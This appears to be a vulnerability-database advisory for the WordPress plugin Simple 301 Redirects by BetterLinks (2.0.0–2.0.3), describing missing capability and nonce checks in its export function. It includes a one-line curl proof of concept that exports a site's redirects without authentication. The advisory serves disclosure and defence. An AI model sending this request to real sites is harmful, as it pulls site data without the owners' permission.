Lucene search

K
wpexploitChloe ChamberlandWPEX-ID:D770F1FA-7652-465A-833C-B7178146847D
HistoryMay 26, 2021 - 12:00 a.m.

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - Unauthenticated Redirect Export

2021-05-2600:00:00
Chloe Chamberland
80
betterlinks 301 redirects exploit

EPSS

0.001

Percentile

47.0%

The export_data function of the plugin had no capability or nonce checks making it possible for unauthenticated users to export a site’s redirects.

curl -X POST --url "[URL]/wp-admin/admin-post.php?page=301options&export=true"

EPSS

0.001

Percentile

47.0%

Related for WPEX-ID:D770F1FA-7652-465A-833C-B7178146847D